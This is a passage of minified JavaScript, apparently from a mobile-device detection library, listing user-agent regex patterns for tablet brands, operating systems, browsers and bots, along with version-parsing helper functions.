7",YarvikTablet:"Android.*\\b(TAB210|TAB211|TAB224|TAB250|TAB260|TAB264|TAB310|TAB360|TAB364|TAB410|TAB411|TAB420|TAB424|TAB450|TAB460|TAB461|TAB464|TAB465|TAB467|TAB468|TAB07-100|TAB07-101|TAB07-150|TAB07-151|TAB07-152|TAB07-200|TAB07-201-3G|TAB07-210|TAB07-211|TAB07-212|TAB07-214|TAB07-220|TAB07-400|TAB07-485|TAB08-150|TAB08-200|TAB08-201-3G|TAB08-201-30|TAB09-100|TAB09-211|TAB09-410|TAB10-150|TAB10-201|TAB10-211|TAB10-400|TAB10-410|TAB13-201|TAB274EUK|TAB275EUK|TAB374EUK|TAB462EUK|TAB474EUK|TAB9-200)\\b",MedionTablet:"Android.*\\bOYO\\b|LIFE.*(P9212|P9514|P9516|S9512)|LIFETAB",ArnovaTablet:"97G4|AN10G2|AN7bG3|AN7fG3|AN8G3|AN8cG3|AN7G3|AN9G3|AN7dG3|AN7dG3ST|AN7dG3ChildPad|AN10bG3|AN10bG3DT|AN9G2",IntensoTablet:"INM8002KP|INM1010FP|INM805ND|Intenso Tab|TAB1004",IRUTablet:"M702pro",MegafonTablet:"MegaFon V9|\\bZTE V9\\b|Android.*\\bMT7A\\b",EbodaTablet:"E-Boda (Supreme|Impresspeed|Izzycomm|Essential)",AllViewTablet:"Allview.*(Viva|Alldro|City|Speed|All TV|Frenzy|Quasar|Shine|TX1|AX1|AX2)",ArchosTablet:"\\b(101G9|80G9|A101IT)\\b|Qilive 97R|Archos5|\\bARCHOS (70|79|80|90|97|101|FAMILYPAD|)(b|c|)(G10| Cobalt| TITANIUM(HD|)| Xenon| Neon|XSK| 2| XS 2| PLATINUM| CARBON|GAMEPAD)\\b",AinolTablet:"NOVO7|NOVO8|NOVO10|Novo7Aurora|Novo7Basic|NOVO7PALADIN|novo9-Spark",NokiaLumiaTablet:"Lumia 2520",SonyTablet:"Sony.*Tablet|Xperia Tablet|Sony Tablet S|SO-03E|SGPT12|SGPT13|SGPT114|SGPT121|SGPT122|SGPT123|SGPT111|SGPT112|SGPT113|SGPT131|SGPT132|SGPT133|SGPT211|SGPT212|SGPT213|SGP311|SGP312|SGP321|EBRD1101|EBRD1102|EBRD1201|SGP351|SGP341|SGP511|SGP512|SGP521|SGP541|SGP551|SGP621|SGP641|SGP612|SOT31|SGP771|SGP611|SGP612|SGP712",PhilipsTablet:"\\b(PI2010|PI3000|PI3100|PI3105|PI3110|PI3205|PI3210|PI3900|PI4010|PI7000|PI7100)\\b",CubeTablet:"Android.*(K8GT|U9GT|U10GT|U16GT|U17GT|U18GT|U19GT|U20GT|U23GT|U30GT)|CUBE U8GT",CobyTablet:"MID1042|MID1045|MID1125|MID1126|MID7012|MID7014|MID7015|MID7034|MID7035|MID7036|MID7042|MID7048|MID7127|MID8042|MID8048|MID8127|MID9042|MID9740|MID9742|MID7022|MID7010",MIDTablet:"M9701|M9000|M9100|M806|M1052|M806|T703|MID701|MID713|MID710|MID727|MID760|MID830|MID728|MID933|MID125|MID810|MID732|MID120|MID930|MID800|MID731|MID900|MID100|MID820|MID735|MID980|MID130|MID833|MID737|MID960|MID135|MID860|MID736|MID140|MID930|MID835|MID733|MID4X10",MSITablet:"MSI \\b(Primo 73K|Primo 73L|Primo 81L|Primo 77|Primo 93|Primo 75|Primo 76|Primo 73|Primo 81|Primo 91|Primo 90|Enjoy 71|Enjoy 7|Enjoy 10)\\b",SMiTTablet:"Android.*(\\bMID\\b|MID-560|MTV-T1200|MTV-PND531|MTV-P1101|MTV-PND530)",RockChipTablet:"Android.*(RK2818|RK2808A|RK2918|RK3066)|RK2738|RK2808A",FlyTablet:"IQ310|Fly Vision",bqTablet:"Android.*(bq)?.*\\b(Elcano|Curie|Edison|Maxwell|Kepler|Pascal|Tesla|Hypatia|Platon|Newton|Livingstone|Cervantes|Avant|Aquaris ([E|M]10|M8))\\b|Maxwell.*Lite|Maxwell.*Plus",HuaweiTablet:"MediaPad|MediaPad 7 Youth|IDEOS S7|S7-201c|S7-202u|S7-101|S7-103|S7-104|S7-105|S7-106|S7-201|S7-Slim|M2-A01L|BAH-L09|BAH-W09|AGS-L09|CMR-AL19",NecTablet:"\\bN-06D|\\bN-08D",PantechTablet:"Pantech.*P4100",BronchoTablet:"Broncho.*(N701|N708|N802|a710)",VersusTablet:"TOUCHPAD.*[78910]|\\bTOUCHTAB\\b",ZyncTablet:"z1000|Z99 2G|z930|z990|z909|Z919|z900",PositivoTablet:"TB07STA|TB10STA|TB07FTA|TB10FTA",NabiTablet:"Android.*\\bNabi",KoboTablet:"Kobo Touch|\\bK080\\b|\\bVox\\b Build|\\bArc\\b Build",DanewTablet:"DSlide.*\\b(700|701R|702|703R|704|802|970|971|972|973|974|1010|1012)\\b",TexetTablet:"NaviPad|TB-772A|TM-7045|TM-7055|TM-9750|TM-7016|TM-7024|TM-7026|TM-7041|TM-7043|TM-7047|TM-8041|TM-9741|TM-9747|TM-9748|TM-9751|TM-7022|TM-7021|TM-7020|TM-7011|TM-7010|TM-7023|TM-7025|TM-7037W|TM-7038W|TM-7027W|TM-9720|TM-9725|TM-9737W|TM-1020|TM-9738W|TM-9740|TM-9743W|TB-807A|TB-771A|TB-727A|TB-725A|TB-719A|TB-823A|TB-805A|TB-723A|TB-715A|TB-707A|TB-705A|TB-709A|TB-711A|TB-890HD|TB-880HD|TB-790HD|TB-780HD|TB-770HD|TB-721HD|TB-710HD|TB-434HD|TB-860HD|TB-840HD|TB-760HD|TB-750HD|TB-740HD|TB-730HD|TB-722HD|TB-720HD|TB-700HD|TB-500HD|TB-470HD|TB-431HD|TB-430HD|TB-506|TB-504|TB-446|TB-436|TB-416|TB-146SE|TB-126SE",PlaystationTablet:"Playstation.*(Portable|Vita)",TrekstorTablet:"ST10416-1|VT10416-1|ST70408-1|ST702xx-1|ST702xx-2|ST80208|ST97216|ST70104-2|VT10416-2|ST10216-2A|SurfTab",PyleAudioTablet:"\\b(PTBL10CEU|PTBL10C|PTBL72BC|PTBL72BCEU|PTBL7CEU|PTBL7C|PTBL92BC|PTBL92BCEU|PTBL9CEU|PTBL9CUK|PTBL9C)\\b",AdvanTablet:"Android.* \\b(E3A|T3X|T5C|T5B|T3E|T3C|T3B|T1J|T1F|T2A|T1H|T1i|E1C|T1-E|T5-A|T4|E1-B|T2Ci|T1-B|T1-D|O1-A|E1-A|T1-A|T3A|T4i)\\b ",DanyTechTablet:"Genius Tab G3|Genius Tab S2|Genius Tab Q3|Genius Tab G4|Genius Tab Q4|Genius Tab G-II|Genius TAB GII|Genius TAB GIII|Genius Tab S1",GalapadTablet:"Android [0-9.]+; [a-z-]+; \\bG1\\b",MicromaxTablet:"Funbook|Micromax.*\\b(P250|P560|P360|P362|P600|P300|P350|P500|P275)\\b",KarbonnTablet:"Android.*\\b(A39|A37|A34|ST8|ST10|ST7|Smart Tab3|Smart Tab2)\\b",AllFineTablet:"Fine7 Genius|Fine7 Shine|Fine7 Air|Fine8 Style|Fine9 More|Fine10 Joy|Fine11 Wide",PROSCANTablet:"\\b(PEM63|PLT1023G|PLT1041|PLT1044|PLT1044G|PLT1091|PLT4311|PLT4311PL|PLT4315|PLT7030|PLT7033|PLT7033D|PLT7035|PLT7035D|PLT7044K|PLT7045K|PLT7045KB|PLT7071KG|PLT7072|PLT7223G|PLT7225G|PLT7777G|PLT7810K|PLT7849G|PLT7851G|PLT7852G|PLT8015|PLT8031|PLT8034|PLT8036|PLT8080K|PLT8082|PLT8088|PLT8223G|PLT8234G|PLT8235G|PLT8816K|PLT9011|PLT9045K|PLT9233G|PLT9735|PLT9760G|PLT9770G)\\b",YONESTablet:"BQ1078|BC1003|BC1077|RK9702|BC9730|BC9001|IT9001|BC7008|BC7010|BC708|BC728|BC7012|BC7030|BC7027|BC7026",ChangJiaTablet:"TPC7102|TPC7103|TPC7105|TPC7106|TPC7107|TPC7201|TPC7203|TPC7205|TPC7210|TPC7708|TPC7709|TPC7712|TPC7110|TPC8101|TPC8103|TPC8105|TPC8106|TPC8203|TPC8205|TPC8503|TPC9106|TPC9701|TPC97101|TPC97103|TPC97105|TPC97106|TPC97111|TPC97113|TPC97203|TPC97603|TPC97809|TPC97205|TPC10101|TPC10103|TPC10106|TPC10111|TPC10203|TPC10205|TPC10503",GUTablet:"TX-A1301|TX-M9002|Q702|kf026",PointOfViewTablet:"TAB-P506|TAB-navi-7-3G-M|TAB-P517|TAB-P-527|TAB-P701|TAB-P703|TAB-P721|TAB-P731N|TAB-P741|TAB-P825|TAB-P905|TAB-P925|TAB-PR945|TAB-PL1015|TAB-P1025|TAB-PI1045|TAB-P1325|TAB-PROTAB[0-9]+|TAB-PROTAB25|TAB-PROTAB26|TAB-PROTAB27|TAB-PROTAB26XL|TAB-PROTAB2-IPS9|TAB-PROTAB30-IPS9|TAB-PROTAB25XXL|TAB-PROTAB26-IPS10|TAB-PROTAB30-IPS10",OvermaxTablet:"OV-(SteelCore|NewBase|Basecore|Baseone|Exellen|Quattor|EduTab|Solution|ACTION|BasicTab|TeddyTab|MagicTab|Stream|TB-08|TB-09)|Qualcore 1027",HCLTablet:"HCL.*Tablet|Connect-3G-2.0|Connect-2G-2.0|ME Tablet U1|ME Tablet U2|ME Tablet G1|ME Tablet X1|ME Tablet Y2|ME Tablet Sync",DPSTablet:"DPS Dream 9|DPS Dual 7",VistureTablet:"V97 HD|i75 3G|Visture V4( HD)?|Visture V5( HD)?|Visture V10",CrestaTablet:"CTP(-)?810|CTP(-)?818|CTP(-)?828|CTP(-)?838|CTP(-)?888|CTP(-)?978|CTP(-)?980|CTP(-)?987|CTP(-)?988|CTP(-)?989",MediatekTablet:"\\bMT8125|MT8389|MT8135|MT8377\\b",ConcordeTablet:"Concorde([ ]+)?Tab|ConCorde ReadMan",GoCleverTablet:"GOCLEVER TAB|A7GOCLEVER|M1042|M7841|M742|R1042BK|R1041|TAB A975|TAB A7842|TAB A741|TAB A741L|TAB M723G|TAB M721|TAB A1021|TAB I921|TAB R721|TAB I720|TAB T76|TAB R70|TAB R76.2|TAB R106|TAB R83.2|TAB M813G|TAB I721|GCTA722|TAB I70|TAB I71|TAB S73|TAB R73|TAB R74|TAB R93|TAB R75|TAB R76.1|TAB A73|TAB A93|TAB A93.2|TAB T72|TAB R83|TAB R974|TAB R973|TAB A101|TAB A103|TAB A104|TAB A104.2|R105BK|M713G|A972BK|TAB A971|TAB R974.2|TAB R104|TAB R83.3|TAB A1042",ModecomTablet:"FreeTAB 9000|FreeTAB 7.4|FreeTAB 7004|FreeTAB 7800|FreeTAB 2096|FreeTAB 7.5|FreeTAB 1014|FreeTAB 1001 |FreeTAB 8001|FreeTAB 9706|FreeTAB 9702|FreeTAB 7003|FreeTAB 7002|FreeTAB 1002|FreeTAB 7801|FreeTAB 1331|FreeTAB 1004|FreeTAB 8002|FreeTAB 8014|FreeTAB 9704|FreeTAB 1003",VoninoTablet:"\\b(Argus[ _]?S|Diamond[ _]?79HD|Emerald[ _]?78E|Luna[ _]?70C|Onyx[ _]?S|Onyx[ _]?Z|Orin[ _]?HD|Orin[ _]?S|Otis[ _]?S|SpeedStar[ _]?S|Magnet[ _]?M9|Primus[ _]?94[ _]?3G|Primus[ _]?94HD|Primus[ _]?QS|Android.*\\bQ8\\b|Sirius[ _]?EVO[ _]?QS|Sirius[ _]?QS|Spirit[ _]?S)\\b",ECSTablet:"V07OT2|TM105A|S10OT1|TR10CS1",StorexTablet:"eZee[_']?(Tab|Go)[0-9]+|TabLC7|Looney Tunes Tab",VodafoneTablet:"SmartTab([ ]+)?[0-9]+|SmartTabII10|SmartTabII7|VF-1497|VFD 1400",EssentielBTablet:"Smart[ ']?TAB[ ]+?[0-9]+|Family[ ']?TAB2",RossMoorTablet:"RM-790|RM-997|RMD-878G|RMD-974R|RMT-705A|RMT-701|RME-601|RMT-501|RMT-711",iMobileTablet:"i-mobile i-note",TolinoTablet:"tolino tab [0-9.]+|tolino shine",AudioSonicTablet:"\\bC-22Q|T7-QC|T-17B|T-17P\\b",AMPETablet:"Android.* A78 ",SkkTablet:"Android.* (SKYPAD|PHOENIX|CYCLOPS)",TecnoTablet:"TECNO P9|TECNO DP8D",JXDTablet:"Android.* \\b(F3000|A3300|JXD5000|JXD3000|JXD2000|JXD300B|JXD300|S5800|S7800|S602b|S5110b|S7300|S5300|S602|S603|S5100|S5110|S601|S7100a|P3000F|P3000s|P101|P200s|P1000m|P200m|P9100|P1000s|S6600b|S908|P1000|P300|S18|S6600|S9100)\\b",iJoyTablet:"Tablet (Spirit 7|Essentia|Galatea|Fusion|Onix 7|Landa|Titan|Scooby|Deox|Stella|Themis|Argon|Unique 7|Sygnus|Hexen|Finity 7|Cream|Cream X2|Jade|Neon 7|Neron 7|Kandy|Scape|Saphyr 7|Rebel|Biox|Rebel|Rebel 8GB|Myst|Draco 7|Myst|Tab7-004|Myst|Tadeo Jones|Tablet Boing|Arrow|Draco Dual Cam|Aurix|Mint|Amity|Revolution|Finity 9|Neon 9|T9w|Amity 4GB Dual Cam|Stone 4GB|Stone 8GB|Andromeda|Silken|X2|Andromeda II|Halley|Flame|Saphyr 9,7|Touch 8|Planet|Triton|Unique 10|Hexen 10|Memphis 4GB|Memphis 8GB|Onix 10)",FX2Tablet:"FX2 PAD7|FX2 PAD10",XoroTablet:"KidsPAD 701|PAD[ ]?712|PAD[ ]?714|PAD[ ]?716|PAD[ ]?717|PAD[ ]?718|PAD[ ]?720|PAD[ ]?721|PAD[ ]?722|PAD[ ]?790|PAD[ ]?792|PAD[ ]?900|PAD[ ]?9715D|PAD[ ]?9716DR|PAD[ ]?9718DR|PAD[ ]?9719QR|PAD[ ]?9720QR|TelePAD1030|Telepad1032|TelePAD730|TelePAD731|TelePAD732|TelePAD735Q|TelePAD830|TelePAD9730|TelePAD795|MegaPAD 1331|MegaPAD 1851|MegaPAD 2151",ViewsonicTablet:"ViewPad 10pi|ViewPad 10e|ViewPad 10s|ViewPad E72|ViewPad7|ViewPad E100|ViewPad 7e|ViewSonic VB733|VB100a",VerizonTablet:"QTAQZ3|QTAIR7|QTAQTZ3|QTASUN1|QTASUN2|QTAXIA1",OdysTablet:"LOOX|XENO10|ODYS[ -](Space|EVO|Xpress|NOON)|\\bXELIO\\b|Xelio10Pro|XELIO7PHONETAB|XELIO10EXTREME|XELIOPT2|NEO_QUAD10",CaptivaTablet:"CAPTIVA PAD",IconbitTablet:"NetTAB|NT-3702|NT-3702S|NT-3702S|NT-3603P|NT-3603P|NT-0704S|NT-0704S|NT-3805C|NT-3805C|NT-0806C|NT-0806C|NT-0909T|NT-0909T|NT-0907S|NT-0907S|NT-0902S|NT-0902S",TeclastTablet:"T98 4G|\\bP80\\b|\\bX90HD\\b|X98 Air|X98 Air 3G|\\bX89\\b|P80 3G|\\bX80h\\b|P98 Air|\\bX89HD\\b|P98 3G|\\bP90HD\\b|P89 3G|X98 3G|\\bP70h\\b|P79HD 3G|G18d 3G|\\bP79HD\\b|\\bP89s\\b|\\bA88\\b|\\bP10HD\\b|\\bP19HD\\b|G18 3G|\\bP78HD\\b|\\bA78\\b|\\bP75\\b|G17s 3G|G17h 3G|\\bP85t\\b|\\bP90\\b|\\bP11\\b|\\bP98t\\b|\\bP98HD\\b|\\bG18d\\b|\\bP85s\\b|\\bP11HD\\b|\\bP88s\\b|\\bA80HD\\b|\\bA80se\\b|\\bA10h\\b|\\bP89\\b|\\bP78s\\b|\\bG18\\b|\\bP85\\b|\\bA70h\\b|\\bA70\\b|\\bG17\\b|\\bP18\\b|\\bA80s\\b|\\bA11s\\b|\\bP88HD\\b|\\bA80h\\b|\\bP76s\\b|\\bP76h\\b|\\bP98\\b|\\bA10HD\\b|\\bP78\\b|\\bP88\\b|\\bA11\\b|\\bA10t\\b|\\bP76a\\b|\\bP76t\\b|\\bP76e\\b|\\bP85HD\\b|\\bP85a\\b|\\bP86\\b|\\bP75HD\\b|\\bP76v\\b|\\bA12\\b|\\bP75a\\b|\\bA15\\b|\\bP76Ti\\b|\\bP81HD\\b|\\bA10\\b|\\bT760VE\\b|\\bT720HD\\b|\\bP76\\b|\\bP73\\b|\\bP71\\b|\\bP72\\b|\\bT720SE\\b|\\bC520Ti\\b|\\bT760\\b|\\bT720VE\\b|T720-3GE|T720-WiFi",OndaTablet:"\\b(V975i|Vi30|VX530|V701|Vi60|V701s|Vi50|V801s|V719|Vx610w|VX610W|V819i|Vi10|VX580W|Vi10|V711s|V813|V811|V820w|V820|Vi20|V711|VI30W|V712|V891w|V972|V819w|V820w|Vi60|V820w|V711|V813s|V801|V819|V975s|V801|V819|V819|V818|V811|V712|V975m|V101w|V961w|V812|V818|V971|V971s|V919|V989|V116w|V102w|V973|Vi40)\\b[\\s]+|V10 \\b4G\\b",JaytechTablet:"TPC-PA762",BlaupunktTablet:"Endeavour 800NG|Endeavour 1010",DigmaTablet:"\\b(iDx10|iDx9|iDx8|iDx7|iDxD7|iDxD8|iDsQ8|iDsQ7|iDsQ8|iDsD10|iDnD7|3TS804H|iDsQ11|iDj7|iDs10)\\b",EvolioTablet:"ARIA_Mini_wifi|Aria[ _]Mini|Evolio X10|Evolio X7|Evolio X8|\\bEvotab\\b|\\bNeura\\b",LavaTablet:"QPAD E704|\\bIvoryS\\b|E-TAB IVORY|\\bE-TAB\\b",AocTablet:"MW0811|MW0812|MW0922|MTK8382|MW1031|MW0831|MW0821|MW0931|MW0712",MpmanTablet:"MP11 OCTA|MP10 OCTA|MPQC1114|MPQC1004|MPQC994|MPQC974|MPQC973|MPQC804|MPQC784|MPQC780|\\bMPG7\\b|MPDCG75|MPDCG71|MPDC1006|MP101DC|MPDC9000|MPDC905|MPDC706HD|MPDC706|MPDC705|MPDC110|MPDC100|MPDC99|MPDC97|MPDC88|MPDC8|MPDC77|MP709|MID701|MID711|MID170|MPDC703|MPQC1010",CelkonTablet:"CT695|CT888|CT[\\s]?910|CT7 Tab|CT9 Tab|CT3 Tab|CT2 Tab|CT1 Tab|C820|C720|\\bCT-1\\b",WolderTablet:"miTab \\b(DIAMOND|SPACE|BROOKLYN|NEO|FLY|MANHATTAN|FUNK|EVOLUTION|SKY|GOCAR|IRON|GENIUS|POP|MINT|EPSILON|BROADWAY|JUMP|HOP|LEGEND|NEW AGE|LINE|ADVANCE|FEEL|FOLLOW|LIKE|LINK|LIVE|THINK|FREEDOM|CHICAGO|CLEVELAND|BALTIMORE-GH|IOWA|BOSTON|SEATTLE|PHOENIX|DALLAS|IN 101|MasterChef)\\b",MediacomTablet:"M-MPI10C3G|M-SP10EG|M-SP10EGP|M-SP10HXAH|M-SP7HXAH|M-SP10HXBH|M-SP8HXAH|M-SP8MXA",MiTablet:"\\bMI PAD\\b|\\bHM NOTE 1W\\b",NibiruTablet:"Nibiru M1|Nibiru Jupiter One",NexoTablet:"NEXO NOVA|NEXO 10|NEXO AVIO|NEXO FREE|NEXO GO|NEXO EVO|NEXO 3G|NEXO SMART|NEXO KIDDO|NEXO MOBI",LeaderTablet:"TBLT10Q|TBLT10I|TBL-10WDKB|TBL-10WDKBO2013|TBL-W230V2|TBL-W450|TBL-W500|SV572|TBLT7I|TBA-AC7-8G|TBLT79|TBL-8W16|TBL-10W32|TBL-10WKB|TBL-W100",UbislateTablet:"UbiSlate[\\s]?7C",PocketBookTablet:"Pocketbook",KocasoTablet:"\\b(TB-1207)\\b",HisenseTablet:"\\b(F5281|E2371)\\b",Hudl:"Hudl HT7S3|Hudl 2",TelstraTablet:"T-Hub2",GenericTablet:"Android.*\\b97D\\b|Tablet(?!.*PC)|BNTV250A|MID-WCDMA|LogicPD Zoom2|\\bA7EB\\b|CatNova8|A1_07|CT704|CT1002|\\bM721\\b|rk30sdk|\\bEVOTAB\\b|M758A|ET904|ALUMIUM10|Smartfren Tab|Endeavour 1010|Tablet-PC-4|Tagi Tab|\\bM6pro\\b|CT1020W|arc 10HD|\\bTP750\\b|\\bQTAQZ3\\b|WVT101|TM1088|KT107"},oss:{AndroidOS:"Android",BlackBerryOS:"blackberry|\\bBB10\\b|rim tablet os",PalmOS:"PalmOS|avantgo|blazer|elaine|hiptop|palm|plucker|xiino",SymbianOS:"Symbian|SymbOS|Series60|Series40|SYB-[0-9]+|\\bS60\\b",WindowsMobileOS:"Windows CE.*(PPC|Smartphone|Mobile|[0-9]{3}x[0-9]{3})|Windows Mobile|Windows Phone [0-9.]+|WCE;",WindowsPhoneOS:"Windows Phone 10.0|Windows Phone 8.1|Windows Phone 8.0|Windows Phone OS|XBLWP7|ZuneWP7|Windows NT 6.[23]; ARM;",iOS:"\\biPhone.*Mobile|\\biPod|\\biPad|AppleCoreMedia",iPadOS:"CPU OS 13",SailfishOS:"Sailfish",MeeGoOS:"MeeGo",MaemoOS:"Maemo",JavaOS:"J2ME/|\\bMIDP\\b|\\bCLDC\\b",webOS:"webOS|hpwOS",badaOS:"\\bBada\\b",BREWOS:"BREW"},uas:{Chrome:"\\bCrMo\\b|CriOS|Android.*Chrome/[.0-9]* (Mobile)?",Dolfin:"\\bDolfin\\b",Opera:"Opera.*Mini|Opera.*Mobi|Android.*Opera|Mobile.*OPR/[0-9.]+$|Coast/[0-9.]+",Skyfire:"Skyfire",Edge:"\\bEdgiOS\\b|Mobile Safari/[.0-9]* Edge",IE:"IEMobile|MSIEMobile",Firefox:"fennec|firefox.*maemo|(Mobile|Tablet).*Firefox|Firefox.*Mobile|FxiOS",Bolt:"bolt",TeaShark:"teashark",Blazer:"Blazer",Safari:"Version((?!\\bEdgiOS\\b).)*Mobile.*Safari|Safari.*Mobile|MobileSafari",WeChat:"\\bMicroMessenger\\b",UCBrowser:"UC.*Browser|UCWEB",baiduboxapp:"baiduboxapp",baidubrowser:"baidubrowser",DiigoBrowser:"DiigoBrowser",Mercury:"\\bMercury\\b",ObigoBrowser:"Obigo",NetFront:"NF-Browser",GenericBrowser:"NokiaBrowser|OviBrowser|OneBrowser|TwonkyBeamBrowser|SEMC.*Browser|FlyFlow|Minimo|NetFront|Novarra-Vision|MQQBrowser|MicroMessenger",PaleMoon:"Android.*PaleMoon|Mobile.*PaleMoon"},props:{Mobile:"Mobile/[VER]",Build:"Build/[VER]",Version:"Version/[VER]",VendorID:"VendorID/[VER]",iPad:"iPad.*CPU[a-z ]+[VER]",iPhone:"iPhone.*CPU[a-z ]+[VER]",iPod:"iPod.*CPU[a-z ]+[VER]",Kindle:"Kindle/[VER]",Chrome:["Chrome/[VER]","CriOS/[VER]","CrMo/[VER]"],Coast:["Coast/[VER]"],Dolfin:"Dolfin/[VER]",Firefox:["Firefox/[VER]","FxiOS/[VER]"],Fennec:"Fennec/[VER]",Edge:"Edge/[VER]",IE:["IEMobile/[VER];","IEMobile [VER]","MSIE [VER];","Trident/[0-9.]+;.*rv:[VER]"],NetFront:"NetFront/[VER]",NokiaBrowser:"NokiaBrowser/[VER]",Opera:[" OPR/[VER]","Opera Mini/[VER]","Version/[VER]"],"Opera Mini":"Opera Mini/[VER]","Opera Mobi":"Version/[VER]",UCBrowser:["UCWEB[VER]","UC.*Browser/[VER]"],MQQBrowser:"MQQBrowser/[VER]",MicroMessenger:"MicroMessenger/[VER]",baiduboxapp:"baiduboxapp/[VER]",baidubrowser:"baidubrowser/[VER]",SamsungBrowser:"SamsungBrowser/[VER]",Iron:"Iron/[VER]",Safari:["Version/[VER]","Safari/[VER]"],Skyfire:"Skyfire/[VER]",Tizen:"Tizen/[VER]",Webkit:"webkit[ /][VER]",PaleMoon:"PaleMoon/[VER]",SailfishBrowser:"SailfishBrowser/[VER]",Gecko:"Gecko/[VER]",Trident:"Trident/[VER]",Presto:"Presto/[VER]",Goanna:"Goanna/[VER]",iOS:" \\bi?OS\\b [VER][ ;]{1}",Android:"Android [VER]",Sailfish:"Sailfish [VER]",BlackBerry:["BlackBerry[\\w]+/[VER]","BlackBerry.*Version/[VER]","Version/[VER]"],BREW:"BREW [VER]",Java:"Java/[VER]","Windows Phone OS":["Windows Phone OS [VER]","Windows Phone [VER]"],"Windows Phone":"Windows Phone [VER]","Windows CE":"Windows CE/[VER]","Windows NT":"Windows NT [VER]",Symbian:["SymbianOS/[VER]","Symbian/[VER]"],webOS:["webOS/[VER]","hpwOS/[VER];"]},utils:{Bot:"Googlebot|facebookexternalhit|Google-AMPHTML|s~amp-validator|AdsBot-Google|Google Keyword Suggestion|Facebot|YandexBot|YandexMobileBot|bingbot|ia_archiver|AhrefsBot|Ezooms|GSLFbot|WBSearchBot|Twitterbot|TweetmemeBot|Twikle|PaperLiBot|Wotbox|UnwindFetchor|Exabot|MJ12bot|YandexImages|TurnitinBot|Pingdom|contentkingapp|AspiegelBot",MobileBot:"Googlebot-Mobile|AdsBot-Google-Mobile|YahooSeeker/M1A1-R2D2",DesktopMode:"WPDesktop",TV:"SonyDTV|HbbTV",WebKit:"(webkit)[ /]([\\w.]+)",Console:"\\b(Nintendo|Nintendo WiiU|Nintendo 3DS|Nintendo Switch|PLAYSTATION|Xbox)\\b",Watch:"SM-V700"}},g.detectMobileBrowsers={fullPattern:/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i,
shortPattern:/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i,tabletPattern:/android|ipad|playbook|silk/i};var h,i=Object.prototype.hasOwnProperty;return g.FALLBACK_PHONE="UnknownPhone",g.FALLBACK_TABLET="UnknownTablet",g.FALLBACK_MOBILE="UnknownMobile",h="isArray"in Array?Array.isArray:function(a){return"[object Array]"===Object.prototype.toString.call(a)},function(){var a,b,c,e,f,j,k=g.mobileDetectRules;for(a in k.props)if(i.call(k.props,a)){for(b=k.props[a],h(b)||(b=[b]),f=b.length,e=0;e<f;++e)c=b[e],j=c.indexOf("[VER]"),j>=0&&(c=c.substring(0,j)+"([\\w._\\+]+)"+c.substring(j+5)),b[e]=new RegExp(c,"i");k.props[a]=b}d(k.oss),d(k.phones),d(k.tablets),d(k.uas),d(k.utils),k.oss0={WindowsPhoneOS:k.oss.WindowsPhoneOS,WindowsMobileOS:k.oss.WindowsMobileOS}}(),g.findMatch=function(a,b){for(var c in a)if(i.call(a,c)&&a[c].test(b))return c;return null},g.findMatches=function(a,b){var c=[];for(var d in a)i.call(a,d)&&a[d].test(b)&&c.push(d);return c},g.getVersionStr=function(a,b){var c,d,e,f,h=g.mobileDetectRules.props;if(i.call(h,a))for(c=h[a],e=c.length,d=0;d<e;++d)if(f=c[d].exec(b),null!==f)return f[1];return null},g.getVersion=function(a,b){var c=g.getVersionStr(a,b);return c?g.prepareVersionNo(c):NaN},g.prepareVersionNo=function(a){var b;return b=a.split(/[a-z._ \/\-]/i),1===b.length&&(a=b[0]),b.length>1&&(a=b[0]+".",b.shift(),a+=b.join("")),Number(a)},g.isMobileFallback=function(a){return 